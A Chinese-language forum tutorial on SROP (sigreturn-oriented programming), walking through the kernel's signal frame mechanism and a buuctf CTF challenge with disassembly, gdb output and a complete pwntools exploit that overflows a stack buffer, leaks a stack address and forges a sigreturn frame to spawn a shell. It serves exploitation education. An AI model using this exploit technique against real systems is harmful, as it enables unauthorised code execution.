首页
社区
课程
招聘
[原创]srop基本利用教程
2021-4-17 11:30 9761

[原创]srop基本利用教程

2021-4-17 11:30
9761

srop概念

参考链接

 

https://www.anquanke.com/post/id/217081

 

https://blog.csdn.net/mcmuyanga/article/details/112509274

 

 

如图所示,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)。

 

在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn,我们将这段内存称为一个Signal Frame。

 

 

在内核sigreturn系统调用处理函数中,会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。
Signal机制缺陷利用
首先,内核替用户进程将其上下文保存在Signal Frame中,然后,内核利用这个Signal Frame恢复用户进程的上下文,done!那么,问题来了:

 

第一、这个Signal Frame是被保存在用户进程的地址空间中的,是用户进程可读写的;

 

第二、内核并没有将保存的过程和恢复的过程进行一个比较,也就是说,在sigreturn这个系统调用的处理函数中,内核并没有判断当前的这个Signal Frame就是之前内核为用户进程保存的那个Signal Frame。

 

按照作者slides里面的说法,“kernel agnostic about signal handlers”既是一个优点,因为内核不需要花精力来记录其发起的signal,但是,这也是一个缺点,正因为内核对其的不可知性,使得恶意的用户进程可以对其进行伪造!

 

让我们先来假设一个攻击者可以控制用户进程的栈,那么它就可以伪造一个Signal Frame,如下图所示

 

 

在这个伪造的Signal Frame中,将rax设置成59(即execve系统调用号),将rdi设置成字符串/bin/sh的地址(该字符串可以是攻击者写在栈上的),将rip设置成系统调用指令syscall的内存地址,最后,将rt_sigreturn手动设置成sigreturn系统调用的内存地址。那么,当这个伪造的sigreturn系统调用返回之后,相应的寄存器就被设置成了攻击者可以控制的值,在这个例子中,一旦sigreturn返回,就会去执行execve系统调用,打开一个shell。

传参规则

一个参数用rdi(edi)传
两个参数用rdi、rsi(edi、rsi)传
三个参数用rdi、rsi、rdx(edi、esi、edx)传
四个参数用rdi、rsi、rdx、rcx(edi、esi、edx、ecx)传
五个参数用rdi、rsi、rdx、rcx、r8(edi、esi、edx、ecx、r8)传
六个参数用rdi、rsi、rdx、rcx、r8、r9(edi、esi、edx、ecx、r8、r9)传

具体攻击方式

这是一个最简单的攻击。在这个攻击中,有4个前提条件:
第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;
第二,需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址);
第三,需要知道syscall指令在内存中的地址;
第四,需要知道sigreturn系统调用的内存地址。

例题

来源buuctf ciscn_2019_es_7

 

关键函数

1
2
3
4
5
6
7
8
signed __int64 vuln()
{
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF
 
  v0 = sys_read(0, buf, 0x400uLL);
  return sys_write(1u, buf, 0x30uLL);
}

系统调用的读入和写出

 

读入0x400

 

输出0x30

1
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

可以得知buf距离返回地址0x10

 

so会多泄露0x20的内容

 

满足条件第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;

 

然后我们去找栈上的/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
RAX  0x30
 RBX  0x0
 RCX  0x400519 (vuln+44) ◂— ret   
 RDX  0x30
 RDI  0x1
 RSI  0x7fffffffdfe0 ◂— 0xa616861686168 /* 'hahaha\n' */
 R8   0x7ffff7dced80 (initial) ◂— 0x0
 R9   0x7ffff7dced80 (initial) ◂— 0x0
 R10  0x3
 R11  0x246
 R12  0x4003e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0f0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdff0 —▸ 0x7fffffffe010 —▸ 0x400540 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdff8 —▸ 0x400536 (main+25) ◂— nop   
 RIP  0x7fffffffe010 —▸ 0x400540 (__libc_csu_init) ◂— push   r15

看见上面ris的指向了吗 变量栈地址

1
2
3
4
5
6
7
/8gx 0x7fffffffdfe0
0x7fffffffdfe0:    0x000a616861686168    0x0000000000000000
0x7fffffffdff0:    0x00007fffffffe010    0x0000000000400536
0x7fffffffe000:    0x00007fffffffe0f8    0x0000000100000000
0x7fffffffe010:    0x0000000000400540    0x00007ffff7a03bf7
pwndbg> hex(0x00007fffffffe0f8-0x7fffffffdfe0)
+0000 0x000118

因为我们可以从上面分析知道泄露0x20的内容

 

那么从输入的栈地址+0x20 里面的内容就是泄露出来的地址

 

减去0x118就是我们的输入的栈地址咯

 

还有一种办法就是用info proc map 看内存映射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Mapped address spaces:
 
          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/q/c7
            0x600000           0x601000     0x1000        0x0 /home/q/c7
            0x601000           0x602000     0x1000     0x1000 /home/q/c7
      0x7ffff79e2000     0x7ffff7bc9000   0x1e7000        0x0 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7bc9000     0x7ffff7dc9000   0x200000   0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7dc9000     0x7ffff7dcd000     0x4000   0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7dcd000     0x7ffff7dcf000     0x2000   0x1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7dcf000     0x7ffff7dd3000     0x4000        0x0
      0x7ffff7dd3000     0x7ffff7dfc000    0x29000        0x0 /lib/x86_64-linux-gnu/ld-2.27.so
      0x7ffff7fe1000     0x7ffff7fe3000     0x2000        0x0
      0x7ffff7ff8000     0x7ffff7ffb000     0x3000        0x0 [vvar]
      0x7ffff7ffb000     0x7ffff7ffc000     0x1000        0x0 [vdso]
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x29000 /lib/x86_64-linux-gnu/ld-2.27.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x2a000 /lib/x86_64-linux-gnu/ld-2.27.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
1
0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]

从栈的内存里面查看用如下指令

1
find 0x7ffffffde000,0x7ffffffff000,"hahaha"

会输出rsi上的地址

 

这个方法和第一种效果一样

 

可惜了我电脑跑不出就用第一种方法好了

 

这里还要提下

1
SigreturnFrame()

这个函数是我们做题操作的核心

 

他可以对寄存器的值进行修改

 

我先上exp慢慢讲解

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
#context.arch='amd64'
context(os='linux',arch='amd64',log_level='debug')
 
#p=process("./c7")
p=remote('node3.buuoj.cn',26957)
 
syscall_ret=0x400517
sigreturn_addr=0x4004da
system_addr=0x4004E2   
 
rax=0x4004f1
vuln=0x04004ed
 
p.send("/bin/sh"+"\x00"*9+p64(vuln))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8)
 
#gdb.attach(p)
 
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118 
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
 
p.send("/bin/sh"+"\x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))
 
p.interactive()
1
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
1
2
3
4
5
p.send("/bin/sh"+"\x00"*9+p64(vuln))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8)

buf距离返回地址16个字符大小,我们传入任意16个字符再传入vuln函数地址

 

(这里为什么不加8到返回地址是因为我们不用跳出这个函数,再次传入vuln地址是为了

 

从头开始我们还要一次输入机会)

 

为什么接受32个字符呢 我们传入24 但是距离泄露地址有0x20距离

 

0x00到0x10是废物数据一共8个字节

 

调试内容如下

1
2
3
4
00000000  2f 62 69 6e  2f 73 68 00  00 00 00 00  00 00 00 00  /bin/sh·│····│····│
00000010  ed 04 40 00  00 00 00 00  36 05 40 00  00 00 00 00  │··@·│····│6·@·│····│
00000020  b8 9d 82 93  ff 7f 00 00  00 00 00 00  01 00 00 00  │····│····│····│····│
00000030
1
2
3
4
5
6
7
8
9
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118 
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
 
p.send("/bin/sh"+"\x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))

SigreturnFrame()函数我们设置参数

 

寄存器rax是返回值的存储在这里设置系统调用号

 

这里

 

sigframe.rax = constants.SYS_execve等价于

 

sigframe.rax = 0x3B

 

因为execve调用号为0X3B=59

 

execve(x,y,z)有三个参数第一个是命令,后面两个用0补充,所以 rsi和rdx都是0

 

寄存器设置为变量输入地址会把该地址内存上的东西赋给rax上的函数execve

 

寄存器rsp是栈指针让他去指向被泄露地址

 

寄存器rip指向下一条指令的地址这里用syscall

 

(为了避免误会说一下,这个下一条指令指的是执行完execve,system调用最终依然是依靠execve()实现调用的)

 

execve system二者关系详解

 

https://blog.csdn.net/lenk2010/article/details/20049289

 

文章比较复杂基础不好的可以直接略过没事的

 

2个syscall随便选一个都可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
; __unwind {
.text:00000000004004ED                 push    rbp
.text:00000000004004EE                 mov     rbp, rsp
.text:00000000004004F1                 xor     rax, rax
.text:00000000004004F4                 mov     edx, 400h       ; count
.text:00000000004004F9                 lea     rsi, [rsp+buf]  ; buf
.text:00000000004004FE                 mov     rdi, rax        ; fd
.text:0000000000400501                 syscall                 ; LINUX - sys_read
.text:0000000000400503                 mov     rax, 1
.text:000000000040050A                 mov     edx, 30h ; '0'  ; count
.text:000000000040050F                 lea     rsi, [rsp+buf]  ; buf
.text:0000000000400514                 mov     rdi, rax        ; fd
.text:0000000000400517                 syscall                 ; LINUX - sys_write
.text:0000000000400519                 retn
.text:0000000000400519 vuln            endp ; sp-analysis failed
1
p.send("/bin/sh"+"\x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))

传入命令/bin/sh 1个\x00用来截断剩下的凑数然后传入sigreturn_addr接着调用syscall来执行手动设置的fake sigframe

 

结果

 

简单概述

1.有系统调用15号

 

2.有溢出有输出或格式化字符串能任意读取任意写

 

3.传入/bin/sh后传入sigreturn的地址接着传入我们手动构造的SigreturnFrame


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回